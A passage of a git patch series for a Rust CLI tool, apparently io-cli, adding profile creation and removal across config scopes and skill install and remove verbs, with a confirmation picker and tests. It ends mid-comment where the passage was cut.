flat.contains("io_cli::recall::Forgotten::Removed { restore } = outcome"), + "the id is the one `recall::forget` just answered with and never a run id \ + found some other way — `recall::forget`'s own note gives the two \ + plausible wrong ids and what each of them restores instead", + ); + assert!( + text.contains("Pick::Unforget {"), + "and it is spent through a confirmation rather than immediately: the \ + operator asked to forget the note, so putting it back is a second \ + question and `store::acts` decides it the way it decides every other \ + one — row 0 declines", + ); +} + +/// **0.30.0 F6 — `/memory` shows what the store recorded about the run.** +/// +/// The library side has been right since 0.29.0 and unreachable for just as long: +/// `recall::view`'s `run` parameter is an `Option` and the one caller in +/// `src/main.rs` passed `None`, so `View::trace` was empty in production, and +/// `recall::trace`, `Happened` and `Noted` were reachable from `tests/recall.rs` +/// and from nowhere an operator could stand. +/// +/// **The `None` is the shipped behaviour, so this gate is red before the driver is +/// wired and green after** — it is not a description of what the driver already +/// does. The first assertion is the criterion's named sabotage written out: put +/// `None` back and it fails on its own, without the other two. +#[test] +fn v0_30_0_f6_the_driver_reads_the_trace_of_the_run_the_session_just_ran() { + let text = driver_without_comments(); + + assert!( + !text.contains("&opening, None)"), + "SABOTAGE: `recall::view(.., &opening, None)` is what shipped, and it is \ + the whole defect — every eviction, refusal and recall the store holds is \ + read by a function the operator can never reach", + ); + assert!( + text.contains("io_cli::recall::view(&store, &root, &opening, ran)"), + "the run id reaches the view, and it is the session's own last turn: \ + `last_run` is the same anchor `/undo`, `/export` and the gate report \ + already take, so `/memory` cannot be looking at a different run from the \ + rest of the surface", + ); + assert!( + text.contains("last_run(&session, &store).map(|turn| turn.run_id)"), + "read from the session's transcript rather than carried in a variable \ + that a resumed or forked session would have left stale", + ); + assert!( + text.contains("io_cli::commands::trace_notes("), + "and the rows are drawn — a `View::trace` that is populated and never \ + rendered is the same defect one layer up, and the sentence lives in \ + `io_cli::commands` because nothing under `tests/` can drive one written \ + in the driver", + ); } // --------------------------------------------------------------------------- From 71a260ba02ee96f234b8d9987f3cb5d66b3292b2 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:19:08 +0530 Subject: [PATCH 09/17] =?UTF-8?q?chore(develop):=20A=20profile=20is=20crea?= =?UTF-8?q?ted,=20removed=20and=20cleared=20from=20`/profil=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T08 --- src/configure.rs | 119 ++++++++++++++++++++++++++++++++---- tests/configure.rs | 149 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 257 insertions(+), 11 deletions(-) diff --git a/src/configure.rs b/src/configure.rs index 88497c5..67c21af 100644 --- a/src/configure.rs +++ b/src/configure.rs @@ -955,26 +955,123 @@ pub fn rows(settings: &[Setting]) -> Vec { /// /// Sorted and deduplicated, because a profile may declare sub-tables — a file /// with `[profile.fast]` and `[profile.fast.run]` has one profile, not two. +/// +/// **Every source, not just the last one.** Until 0.30.0 this read +/// `sources().last()` alone, so a profile declared in a lower-precedence scope was +/// invisible to the one surface whose whole job is to list them — and +/// [`with_profile`] would have applied it perfectly well, because io-harness +/// merges the overlay across the scopes it merged the file from. A list that +/// cannot see what the switch can reach is a list that is wrong. pub fn profiles(config: &Config) -> Vec { - let Some(text) = config - .sources() - .last() - .and_then(|(_, path)| std::fs::read_to_string(path).ok()) - else { - return Vec::new(); - }; + let mut names: Vec = Vec::new(); + for (_, path) in config.sources() { + let Ok(text) = std::fs::read_to_string(path) else { + continue; + }; + names.extend(declared_profiles(&text)); + } + names.sort(); + names.dedup(); + names +} - let mut names: Vec = crate::edit::sections(&text) +/// The `[profile.]` names one file's own text declares. +/// +/// Split out because [`remove_profile`] needs the *sections*, not the names: a +/// profile is however many headers share its first two segments, and removing it +/// means removing all of them. +fn declared_profiles(text: &str) -> Vec { + crate::edit::sections(text) .into_iter() .filter_map(|path| { (path.first().map(String::as_str) == Some("profile")) .then(|| path.get(1).cloned()) .flatten() }) + .collect() +} + +/// The edit that creates `[profile.]`, or the reason it cannot. +/// +/// **[`crate::edit::Edit::section`] and deliberately not +/// [`crate::edit::Edit::set`].** `section` refuses a section that already exists, +/// which is exactly the "that name is taken" answer this verb owes an operator — +/// so the refusal is the write primitive's own and there is no second opinion +/// about what "already there" means. `set` would have appended a second +/// `[profile.]` header to the file, which is the shape `src/edit.rs:120-126` +/// records as the reason `section` exists at all. +/// +/// The body is a comment rather than nothing, because a bare header an operator +/// then cannot find in their own file is a worse first experience than a line +/// saying what it is for. `/config --scope` writes the keys. +pub fn create_profile(name: &str) -> Result { + let trimmed = name.trim(); + if trimmed.is_empty() { + return Err("a profile needs a name".to_string()); + } + // `spell` quotes a segment that is not a bare key, so a name with a dot or a + // space addresses one profile rather than silently nesting two tables. + let path = format!("profile.{}", crate::edit::spell(trimmed)); + Ok(crate::edit::Edit::section( + path, + format!("# `{trimmed}`, applied with `/profile` or `--profile {trimmed}`\n"), + )) +} + +/// The edits that remove `[profile.]` **and every sub-table under it**. +/// +/// **A profile is not one section.** `[profile.fast]` and `[profile.fast.run]` are +/// two headers and one profile — which [`profiles`] already knew, because it +/// deduplicates on exactly that. So the removal is one +/// [`crate::edit::Edit::remove`] per header, applied together: +/// [`crate::edit::apply`] splices in reverse start order and is all-or-nothing, so +/// either the whole profile goes or the file is untouched. +/// +/// **`remove` and never [`crate::edit::Edit::unset`]**, and getting that backwards +/// is the confusion 0.28.0 paid for: `remove` takes a whole `[section]` region, +/// header and body; `unset` deletes a single `key = value` line and errors on a +/// section path. This verb wants the region. +/// +/// `Err` when the file declares no such profile, so the surface can say which +/// names it does have rather than reporting a successful write that removed +/// nothing. +pub fn remove_profile(text: &str, name: &str) -> Result, String> { + let headers: Vec> = crate::edit::sections(text) + .into_iter() + .filter(|path| { + path.first().map(String::as_str) == Some("profile") + && path.get(1).map(String::as_str) == Some(name) + }) .collect(); - names.sort(); - names.dedup(); - names + if headers.is_empty() { + return Err(format!( + "this file declares no `[profile.{name}]`; it declares {}", + match declared_profiles(text).as_slice() { + [] => "no profiles at all".to_string(), + found => { + let mut names = found.to_vec(); + names.sort(); + names.dedup(); + names + .iter() + .map(|found| format!("`{found}`")) + .collect::>() + .join(", ") + } + } + )); + } + Ok(headers + .into_iter() + .map(|path| { + crate::edit::Edit::remove( + path.iter() + .map(|segment| crate::edit::spell(segment)) + .collect::>() + .join("."), + ) + }) + .collect()) } /// Apply a named profile, or report io-harness's own refusal. diff --git a/tests/configure.rs b/tests/configure.rs index d8f6ad7..b8b1909 100644 --- a/tests/configure.rs +++ b/tests/configure.rs @@ -1076,3 +1076,152 @@ fn f18_a_workspace_with_no_prices_offers_no_models() { ); assert!(s.priced_models().is_empty()); } + +// --------------------------------------------------------------------------- +// F7, F8, F9 — a profile is created, removed, and visible from every scope. +// --------------------------------------------------------------------------- + +/// **F7.** Creating writes the section; creating it again is refused and writes +/// nothing. +/// +/// The refusal is `Edit::section`'s own, which is the point: a `set` here would +/// append a *second* `[profile.fast]` header to the file and report success. +#[test] +fn f7_a_profile_is_created_and_a_name_already_taken_is_refused() { + let before = "[run]\nmax_steps = 10\n"; + let edit = configure::create_profile("fast").expect("a fresh name is accepted"); + let after = io_cli::edit::apply(before, &[edit]).expect("the section is written"); + + assert!( + after.starts_with(before), + "creating a profile appends and rewrites nothing: {after:?}", + ); + assert!( + after.contains("[profile.fast]"), + "the section is written by its own name: {after:?}", + ); + assert_eq!( + io_cli::edit::sections(&after) + .into_iter() + .filter(|path| path == &vec!["profile".to_string(), "fast".to_string()]) + .count(), + 1, + "exactly one header, which is what `set` would have got wrong", + ); + + // The whole of the refusal: applying the same create to a file that already + // has the section fails, and `apply` is all-or-nothing so nothing is written. + let again = configure::create_profile("fast").expect("the edit is built either way"); + let refusal = io_cli::edit::apply(&after, &[again]) + .expect_err("a profile that already exists is refused"); + assert!( + refusal.contains("fast"), + "the refusal names the profile: {refusal}", + ); +} + +/// **F7, the empty-name arm.** A name that is only whitespace is refused before an +/// edit is built at all, because `[profile.]` is a section an operator can neither +/// switch to nor find again. +#[test] +fn f7_a_profile_needs_a_name() { + assert!(configure::create_profile(" ").is_err()); + assert!(configure::create_profile("").is_err()); +} + +/// **F8.** Removing takes the whole region *and every sub-table under it*, and +/// every other byte of the file is identical. +/// +/// A profile is not one section — `[profile.fast]` and `[profile.fast.run]` are two +/// headers and one profile, which `configure::profiles` has always known because it +/// deduplicates on exactly that. Removing only the first would leave an orphan +/// `[profile.fast.run]` that `profiles` still lists. +#[test] +fn f8_removing_a_profile_takes_its_sub_tables_and_nothing_else() { + let before = concat!( + "[run]\n", + "max_steps = 10\n", + "\n", + "[profile.fast]\n", + "\n", + "[profile.fast.run]\n", + "max_steps = 3\n", + "\n", + "[profile.slow]\n", + "\n", + "[app.io-cli]\n", + "theme = \"dim\"\n", + ); + let edits = configure::remove_profile(before, "fast").expect("the profile is there"); + assert_eq!(edits.len(), 2, "one edit per header: {edits:?}"); + + let after = io_cli::edit::apply(before, &edits).expect("the removal applies"); + + assert!( + !after.contains("[profile.fast]") && !after.contains("[profile.fast.run]"), + "both headers go: {after:?}", + ); + assert!( + after.contains("[profile.slow]"), + "a sibling profile is untouched: {after:?}", + ); + // Byte-for-byte on everything that was not the profile. + assert!( + after.contains("[run]\nmax_steps = 10\n"), + "the unrelated section above comes through verbatim: {after:?}", + ); + assert!( + after.contains("[app.io-cli]\ntheme = \"dim\"\n"), + "and the one below: {after:?}", + ); + let gone = configure::remove_profile(&after, "fast") + .expect_err("it is gone, so removing it again is refused"); + assert!( + gone.contains("slow"), + "the refusal names what the file does declare: {gone}", + ); +} + +/// **F8, the refusal.** A name the file does not declare is an error naming the +/// names it does, not a successful write that removed nothing. +#[test] +fn f8_removing_a_profile_that_is_not_there_is_refused_by_name() { + let refusal = configure::remove_profile("[run]\nmax_steps = 1\n", "fast") + .expect_err("there are no profiles at all"); + assert!( + refusal.contains("no profiles at all"), + "an empty file says so rather than listing nothing: {refusal}", + ); +} + +/// **F9.** A profile declared in a *lower-precedence* scope is listed. +/// +/// This is the arm that reddens on the old implementation. It read +/// `sources().last()` — the highest-precedence file — so a profile in the user +/// scope was invisible to the surface whose whole job is to list them, while +/// `Config::with_profile` would have applied it perfectly well. +#[test] +fn f9_the_profile_list_sees_every_scope_and_not_only_the_last() { + let s = scopes( + "[profile.slow]\n\n[profile.slow.run]\nmax_steps = 2\n", + "[run]\nmax_steps = 10\n", + "", + ); + let config = s.config(); + + assert!( + config.sources().len() > 1, + "the fixture needs more than one source or this asserts nothing", + ); + assert_eq!( + configure::profiles(&config), + vec!["slow".to_string()], + "declared in the user scope, listed anyway — and deduplicated across its \ + own sub-table", + ); + assert!( + configure::with_profile(&config, "slow").is_ok(), + "and the switch could always reach it, which is what made the old list wrong \ + rather than merely narrow", + ); +} From 97ea395c9f679e180c60f6f0359c3b21ac6e46e9 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:27:34 +0530 Subject: [PATCH 10/17] =?UTF-8?q?chore(develop):=20`/skills=20add=20?= =?UTF-8?q?`=20and=20`/skills=20remove`,=20with=20`io=20ski=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T06 --- src/commands.rs | 13 +++ src/main.rs | 147 +++++++++++++++++++++++++++++++++- src/manage.rs | 69 +++++++++++++++- src/skillview.rs | 129 ++++++++++++++++++++++++++++- tests/skillview.rs | 196 +++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 549 insertions(+), 5 deletions(-) diff --git a/src/commands.rs b/src/commands.rs index cee068e..f50b8e2 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -2087,6 +2087,19 @@ pub fn parse(input: &str, keys: &Keys, theme: &Theme) -> Action { Action::Manage(input.to_string()) } "mcp" | "servers" => Action::Mcp, + // **A verb after the word goes to the one parse both doors share**, the + // same shape `/mcp` and `/plugin` take. Bare `/skills` is still the panel, + // which is where an operator who does not yet know what they have goes; + // `/skills add ` is for the second time, for a line pasted out of a + // README, and for the operator who already knows the answer. + "skills" | "skill" + if matches!( + input.split_whitespace().nth(1), + Some("add" | "list" | "remove") + ) => + { + Action::Manage(input.to_string()) + } "skills" => Action::Skills, "provider" | "providers" => Action::Provider, "profile" | "profiles" => Action::Profile(profile_verb(input)), diff --git a/src/main.rs b/src/main.rs index 031ed33..1d9a3d2 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2446,7 +2446,22 @@ async fn loop_over Result>( descended = Some(( Picker::new( format!("{}?", skill.name), - vec![Row::new(verb), Row::new("leave it as it is")], + vec![ + Row::new(verb), + Row::new("leave it as it is"), + // **The irreversible one, last and + // descending.** Turning a skill off is + // a rename this row undoes; removing it + // unlinks the file and nothing in this + // product brings it back, so it asks + // again rather than acting from here. + Row::with_detail( + "remove it for good".to_string(), + "deletes the file; turning it off \ + instead is reversible" + .to_string(), + ), + ], ), Pick::SkillToggle { name: skill.name.clone(), @@ -2462,12 +2477,80 @@ async fn loop_over Result>( // that io-harness propagates at run start — every turn of // the session dead. So the failure of a move is said, and // nothing is written twice. + Pick::SkillRemove { name, path } => { + if io_cli::store::acts(index) { + // The bundle list goes to the removal for the same + // reason it goes to the move: the refusal lives + // inside `skillview::remove`, so a second caller + // cannot walk past it. + match io_cli::skillview::remove(path, &bundle_skills(&config)) { + Ok(gone) => { + // The palette walks its list once at + // startup, and this is the second thing in + // the product that changes the directory + // under it. Leave it and `/` goes on + // offering a skill whose file is gone. + skills = io_cli::commands::skills( + &io_cli::home::path().unwrap_or_default(), + io_cli::contract::skills_dir( + &config, + &capabilities, + session.root().to_path_buf(), + ) + .as_deref(), + &bundle_skills(&config), + ) + // `.0` for the reason the sibling refresh + // below takes it: the second half is the + // startup complaint about a skills + // directory io-cli did not write into, and + // it is said once, at startup, by the code + // that knows the resolved directory. + .0; + app.record( + Tone::Success, + format!( + "{name} is gone: {} is deleted", + gone.display() + ), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } else { + app.record(Tone::Muted, format!("{name} is unchanged")); + } + } Pick::SkillToggle { name, path, enabled, } => { - if index != 0 { + if index == 2 { + // **`store::LEAVE_IT` at row 0, and it is the + // opposite way round from the picker above.** That + // one puts its verb first because it is reversible + // by the same row; this one deletes a file, so it + // takes the product's confirmation shape — row 0 + // declines, `store::acts` decides, and the index is + // what the test asserts. + descended = Some(( + Picker::new( + format!("Remove {name}?"), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "remove it".to_string(), + format!("deletes {}", path.display()), + ), + ], + ), + Pick::SkillRemove { + name: name.clone(), + path: path.clone(), + }, + )); + } else if index != 0 { app.record(Tone::Muted, format!("{name} is unchanged")); } else { // **The bundle list goes to the move, not just to @@ -8140,6 +8223,19 @@ enum Pick { /// position now. So the pair says which skill the operator actually read, and /// a row that is no longer there is answered with a sentence. Skills(Vec<(String, std::path::PathBuf)>), + /// The second question a deletion owes: are you sure. + /// + /// Two steps rather than one, for [`Pick::SkillToggle`]'s own reason turned + /// around — that picker changes a file on the way past because the row it sits + /// on undoes it, and this one cannot be undone by anything in this product. + /// + /// Row 0 is `store::LEAVE_IT` and `store::acts` decides, which is the shape + /// every destructive confirmation here takes and the one the test asserts **by + /// index** rather than by label. + SkillRemove { + name: String, + path: std::path::PathBuf, + }, /// One skill, and the move that decides whether the model is offered it. /// /// **Two steps rather than one, and for the reason [`Pick::ConfigScope`] @@ -8530,6 +8626,53 @@ async fn manage_main( ); } } + // **The skill verbs run on the door, because `plan` answers `None` for + // them.** A skill is a markdown file in io-cli's own home and no + // configuration file declares one, so there is no `Edit` for any of this; + // the acts live in `skillview`, which the keystroke calls too, and neither + // door words an outcome for itself. + io_cli::manage::Request::Skill(verb) => { + let Some(home) = io_cli::home::path() else { + return Err( + "there is no home on this machine to keep skills in; set `IO_CONFIG_HOME`" + .to_string(), + ); + }; + let (stored, _) = io_cli::settings::stored(config); + let capabilities = io_cli::contract::Capabilities::stored(stored.as_ref()); + let view = skills_view(config, &capabilities, root); + match verb { + io_cli::manage::SkillVerb::Add { source } => { + let at = io_cli::skillview::install(&home, source)?; + println!("{}", at.display()); + } + io_cli::manage::SkillVerb::List => { + for skill in &view.skills { + println!( + "{}\t{}\t{}\t{}", + skill.name, + skill.origin.word(), + if skill.enabled { "enabled" } else { "disabled" }, + skill.path.display(), + ); + } + } + io_cli::manage::SkillVerb::Remove { name } => { + // **By the resolved name, which is what the listing shows.** + // Matching the file name here would ask for the one spelling + // this surface never prints — a file called `mine.md` declaring + // `name: io-mcp` is `io-mcp` everywhere it is addressed. + let found = view.skills.iter().find(|skill| skill.name == *name); + let Some(skill) = found else { + return Err(format!( + "no skill answers to `{name}`; `io skill list` names the ones that do" + )); + }; + let gone = io_cli::skillview::remove(&skill.path, &bundle_skills(config))?; + println!("{}", gone.display()); + } + } + } // **The probe runs on the door, because `plan` answers `None` for it.** It // changes no configuration file — there is no `Edit` for "go and look" — so // the act lives in `servers::probe`, which both doors call, and the sentence diff --git a/src/manage.rs b/src/manage.rs index c9ba8db..c8bcada 100644 --- a/src/manage.rs +++ b/src/manage.rs @@ -91,6 +91,33 @@ pub enum Request { Plugin(PluginVerb), /// The settings. Config(ConfigVerb), + /// The skills in this home's own `skills/` directory. + Skill(SkillVerb), +} + +/// What `/skills` and `io skill` can be asked to do. +/// +/// **Three verbs and not five.** Turning a skill off and back on stays a +/// keystroke: it is a rename inside a directory io-cli owns, it is reversible by +/// the row that did it, and there is nothing for an argument form to name that +/// the picker does not name better. Installing and removing are the two that take +/// a value only the operator can author — a path they have and a name they choose +/// — which is exactly the line `product.yaml` draws between a value that is +/// chosen and one that is typed. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum SkillVerb { + /// Copy the file at `source` into this home's skills directory. + Add { source: std::path::PathBuf }, + /// Every skill, whose it is, and whether it is on. + List, + /// Delete one by the name its frontmatter declares. + /// + /// The **resolved** name and not the file name, because that is what an + /// operator reads off `/skills` and what `Skills::discover` keys on. A file + /// called `mine.md` declaring `name: io-mcp` is `io-mcp` everywhere it is + /// addressed, and asking for the filename here would be asking for the one + /// spelling the surface never shows. + Remove { name: String }, } /// What `/mcp` and `io mcp` can be asked to do. @@ -310,8 +337,9 @@ pub fn tokens(line: &str) -> Vec { pub fn parse(tokens: &[String]) -> Result { let Some(surface) = tokens.first() else { return Err( - "nothing was asked for; the surfaces are `mcp`, `plugin` and `config`, and \ - each takes a verb after it — `mcp add`, `plugin list`, `config set`" + "nothing was asked for; the surfaces are `mcp`, `plugin`, `skill` and `config`, \ + and each takes a verb after it — `mcp add`, `plugin list`, `skill add`, \ + `config set`" .to_string(), ); }; @@ -335,12 +363,40 @@ pub fn parse(tokens: &[String]) -> Result { let surface = match surface { "plugins" => "plugin", "servers" => "mcp", + // `/skills` is the command and `io skill …` reads better in a shell, so + // both spellings fold here for the plural's own reason: the fold has to be + // on the door **both** ways in go through, or the argv form and the slash + // form end up disagreeing about a word. + "skills" => "skill", other => other, }; let verb = tokens.get(1).map(String::as_str); let args = scan(tokens.get(2..).unwrap_or(&[]))?; match (surface, verb) { + // `no_scope` for the reason every skill verb has it: a skill is a file in + // io-cli's own home and no configuration file declares one, so a scope + // typed here would name something this surface does not write. + ("skill", Some("add")) => { + args.no_scope("skill add")?; + args.only("skill add", &[])?; + Ok(Request::Skill(SkillVerb::Add { + source: std::path::PathBuf::from( + args.one_word("skill add", "the path of a skill file")?, + ), + })) + } + ("skill", Some("list")) => { + args.nothing("skill list")?; + Ok(Request::Skill(SkillVerb::List)) + } + ("skill", Some("remove")) => { + args.no_scope("skill remove")?; + args.only("skill remove", &[])?; + Ok(Request::Skill(SkillVerb::Remove { + name: args.one_word("skill remove", "the name of an installed skill")?, + })) + } ("mcp", Some("add")) => mcp_add(&args).map(Request::Mcp), ("mcp", Some("list")) => { args.nothing("mcp list")?; @@ -468,6 +524,7 @@ fn verbs(surface: &str) -> &'static str { match surface { "mcp" => "`add`, `list`, `get`, `edit`, `enable`, `disable`, `probe` and `remove`", "plugin" => "`add` (also spelled `install`), `list`, `search`, `remove` and `marketplace`", + "skill" => "`add `, `list` and `remove `", _ => "`get`, `set`, `unset` and `list`", } } @@ -590,6 +647,14 @@ fn decided_scope(root: &Path, key: &str, asked: Option) -> Scope { pub fn plan(root: &Path, request: &Request) -> Result, String> { let plan = match request { + // **No skill verb plans an `Edit`, and none ever will.** A skill is a + // markdown file in io-cli's own home; no configuration file declares one, + // there is no `enabled` key for one in the harness, and `Plan` is a list of + // edits to somebody's `io.toml`. Installing copies a file and removing + // unlinks one — acts that happen on the door, in `skillview`, the way a + // probe does. `Ok(None)` is the honest answer and it is the same one every + // read verb here gives. + Request::Skill(_) => return Ok(None), Request::Mcp(McpVerb::Add { server, scope }) => Plan { scope: *scope, edits: vec![crate::servers::add(server)], diff --git a/src/skillview.rs b/src/skillview.rs index 43c853b..0efacc2 100644 --- a/src/skillview.rs +++ b/src/skillview.rs @@ -1,5 +1,6 @@ //! `/skills` — what each skill is for, whose it is, whether it is on, and the -//! file it lives in; with the two levers that turn one off and back on. +//! file it lives in; with the levers that turn one off, turn it back on, put one +//! there and take one away. //! //! The palette has listed skills since 0.10.0 and that is a launcher: it puts a //! name into the composer. This is the management surface, and the four facts it @@ -86,6 +87,29 @@ //! and cannot put back. Both levers refuse, and they refuse *inside themselves* //! rather than at the call site; see [`disable`]. //! +//! # A skill arrives and leaves, and the two acts are not the two levers +//! +//! Until 0.30.0 the only thing in this crate that had ever written a skill file +//! was [`crate::import`], driven by a foreign tool the crate happened to detect, +//! so an operator with a skill of their own had no door at all — and nothing +//! anywhere removed one. [`install`] and [`remove`] are that door, and they are +//! deliberately a **copy** and an **unlink** rather than two more renames: +//! +//! * [`install`] copies, because the source is a file the operator still owns — +//! a repository, a download, a directory of their own — and a lever that +//! emptied it would be `/skills` deleting something outside the home in order +//! to put something inside it. It records nothing in +//! [`crate::skills::MANIFEST`], which is what makes the installed row read +//! `yours`: the manifest answers *are these the bytes io-cli last wrote*, and +//! these are not. +//! * [`remove`] unlinks, because [`disable`] already is the reversible act. A +//! removal implemented as a rename would be a lever that promised deletion and +//! delivered a hidden copy, and the two would then be one verb under two names +//! on the surface whose whole subject is what is where. +//! +//! Both refuse a bundle's file, from inside themselves, for [`disable`]'s reason +//! and by [`disable`]'s guard. +//! //! Neither lever rewrites a byte of the file and neither touches `io.toml`. There //! is no `enabled` concept in the harness and no key for one in the configuration, //! so a flag would be io-cli's alone and a second list disagreeing with the @@ -698,6 +722,109 @@ pub fn enable(path: &Path, bundles: &[(String, PathBuf)]) -> Result Result { + if !source.is_file() { + return Err(format!( + "{} is not a file; a skill is one markdown file with `name:` and \ + `description:` in its frontmatter", + source.display() + )); + } + let Some(file_name) = source.file_name() else { + return Err(format!("{} has no file name", source.display())); + }; + + let dir = skills::dir(home); + // Made here for [`disable`]'s reason: the surface that first moves a file in + // is what creates it, `0700` like everything else under the home. + if let Err(error) = crate::home::create(&dir) { + return Err(format!("could not create {}: {error}", dir.display())); + } + let destination = dir.join(file_name); + if destination.exists() { + return Err(format!( + "{} is already there; remove it first, or rename the file you are \ + installing", + destination.display() + )); + } + + // The question the run will ask, asked before the file is in a position to + // make the run fail. + let (name, _) = describe(source); + if let Ok(found) = io_harness::Skills::discover(&dir) { + if found.get(&name).is_some() { + return Err(format!( + "a skill in {} already answers to `{name}`, which is the name in \ + {}'s frontmatter — two files answering to one name make every \ + turn of the next session fail before its first completion", + dir.display(), + source.display(), + )); + } + } + + std::fs::copy(source, &destination) + .map_err(|error| format!("could not copy into {}: {error}", destination.display()))?; + Ok(destination) +} + +/// Delete a skill's file. Answers with the path that is now gone. +/// +/// **An unlink, and that is the whole difference from [`disable`].** Disable is +/// the reversible act: it renames the file into `disabled/` and [`enable`] brings +/// it back. A removal implemented as a second rename would be a verb that promised +/// deletion and delivered a hidden copy — and the two would then be one act under +/// two names, on the surface whose entire subject is what is where. +/// +/// It refuses a bundle's file from inside itself, for [`disable`]'s reason and by +/// [`disable`]'s guard: a bundle's skills are not io-cli's to delete, and the +/// refusal lives here rather than at the call site so a second caller cannot walk +/// past it. +/// +/// The folder form is refused too, for [`disable`]'s reason: `/SKILL.md` is +/// one skill spread over a directory, and unlinking the file alone would leave the +/// directory behind holding nothing that discovery can see. +pub fn remove(path: &Path, bundles: &[(String, PathBuf)]) -> Result { + if let Some(refusal) = refuse_bundle(path, bundles) { + return Err(refusal); + } + if is_bundle(path) { + return Err(format!( + "{} is a skill folder rather than a single file; delete the folder by \ + hand to take it away", + path.display() + )); + } + std::fs::remove_file(path) + .map_err(|error| format!("could not remove {}: {error}", path.display()))?; + Ok(path.to_path_buf()) +} + fn refuse_bundle(path: &Path, bundles: &[(String, PathBuf)]) -> Option { let resolved = std::fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()); let (id, dir) = bundles.iter().find(|(_, dir)| { diff --git a/tests/skillview.rs b/tests/skillview.rs index 93cdfb4..b6c6fba 100644 --- a/tests/skillview.rs +++ b/tests/skillview.rs @@ -872,3 +872,199 @@ fn enable_is_refused_on_a_bundle_skill_and_leaves_the_bundle_untouched() { skillview::enable(&parked, std::slice::from_ref(&plug)).expect("and back again"); assert!(ours.exists()); } + +// --------------------------------------------------------------------------- +// 0.30.0 F1, F2, F3 — a skill arrives and leaves. +// --------------------------------------------------------------------------- + +/// **F1.** Installing copies the operator's file in, and the row reads `yours`. +/// +/// The provenance half is the load-bearing one. `skills::wrote` answers *are these +/// the bytes io-cli last wrote?*, so an install that recorded itself in the +/// manifest would make the listing credit this crate with somebody else's work — +/// the same misattribution `home::origin` exists to prevent one level up. +#[test] +fn f1_an_installed_skill_is_copied_in_and_belongs_to_the_operator() { + let (dir, home) = home(); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("mine", "something of my own")); + let before = read(&source); + + let at = skillview::install(&home, &source).expect("a fresh name is installed"); + + assert_eq!( + at, + skills::dir(&home).join("mine.md"), + "into the skills dir" + ); + assert_eq!(read(&at), before, "byte for byte"); + assert_eq!( + read(&source), + before, + "**a copy and never a move**: the operator still owns the file they named, \ + and a lever that emptied it would be `/skills` deleting something outside \ + the home to put something inside it", + ); + + let view = skillview::view(&home, &skills::dir(&home), &[]); + assert_eq!( + listed(&view, "mine").origin, + Origin::Yours, + "the manifest records nothing for it, which is exactly what makes it theirs", + ); +} + +/// **F1, the shared parse.** Both spellings reach one `Request`. +/// +/// The named sabotage is giving the argv form its own copy of the install. This +/// asserts the level above that: `/skills add …` and `skill add …` are the same +/// parse, so there is only one thing for a second copy to diverge from. +#[test] +fn f1_both_doors_reach_one_parse() { + let slash = io_cli::manage::parse(&io_cli::manage::tokens("/skills add /x/y.md")) + .expect("the slash form parses"); + let argv = io_cli::manage::parse(&[ + "skill".to_string(), + "add".to_string(), + "/x/y.md".to_string(), + ]) + .expect("the argv form parses"); + + assert_eq!( + slash, argv, + "one parse, so the two doors cannot drift into one being the real one", + ); + assert_eq!( + slash, + io_cli::manage::Request::Skill(io_cli::manage::SkillVerb::Add { + source: PathBuf::from("/x/y.md"), + }), + ); +} + +/// **F2.** Removing unlinks; disabling renames. After a remove the file is in +/// neither directory; after a disable it is in exactly one of them. +#[test] +fn f2_removing_is_not_disabling() { + let (_dir, home) = home(); + let skills_dir = skills::dir(&home); + let one = skills_dir.join("gone.md"); + let two = skills_dir.join("parked.md"); + write(&one, &skill("gone", "to be removed")); + write(&two, &skill("parked", "to be disabled")); + + let parked = skillview::disable(&two, &[]).expect("disable renames"); + assert!( + !two.exists(), + "disable moved it out of the skills directory" + ); + assert!(parked.exists(), "and it is in `disabled/`, still on disk"); + + skillview::remove(&one, &[]).expect("remove unlinks"); + assert!(!one.exists(), "gone from the skills directory"); + assert!( + !skills_dir.join(skills::DISABLED).join("gone.md").exists(), + "**and gone from `disabled/` too** — a removal implemented as a second \ + rename would promise deletion and deliver a hidden copy, and the two \ + verbs would be one act under two names", + ); +} + +/// **F2, the destination guard.** Installing over a file that is already there is +/// refused rather than overwriting it: a skill is prose somebody wrote and this +/// verb has no undo. +#[test] +fn f1_installing_over_an_existing_file_is_refused() { + let (dir, home) = home(); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("mine", "the new one")); + let standing = skills::dir(&home).join("mine.md"); + write(&standing, &skill("mine", "the one already there")); + let before = read(&standing); + + let refusal = skillview::install(&home, &source).expect_err("it is already there"); + assert!(refusal.contains("already there"), "{refusal}"); + assert_eq!(read(&standing), before, "and nothing was written over it"); +} + +/// **F1, the name guard.** A source whose *resolved* name is already claimed is +/// refused even when its filename is free. +/// +/// This is `enable`'s own warning reached from the other side: two files answering +/// to one name make `Skills::discover` return `Err`, io-harness propagates it at +/// run start, and every turn of the session is dead before its first completion — +/// with `/skills` unable to help, because its list comes from the call that just +/// failed. +#[test] +fn f1_installing_a_second_claimant_to_one_name_is_refused() { + let (dir, home) = home(); + write( + &skills::dir(&home).join("theirs.md"), + &skill("io-mcp", "the one already answering"), + ); + let source = dir.path().join("elsewhere").join("mine.md"); + write(&source, &skill("io-mcp", "a second claimant")); + + let refusal = skillview::install(&home, &source).expect_err("the name is taken"); + assert!( + refusal.contains("io-mcp"), + "the refusal names the name rather than the file: {refusal}", + ); + assert!( + !skills::dir(&home).join("mine.md").exists(), + "and nothing was copied in", + ); + assert!( + discovered(&skills::dir(&home)).len() == 1, + "the directory still discovers, which is the whole point of refusing", + ); +} + +/// **F3.** A bundle's skill refuses removal, and the refusal is *inside* the +/// function. +/// +/// The sabotage is moving the guard to the call site. This test calls +/// `skillview::remove` directly — there is no call site between it and the 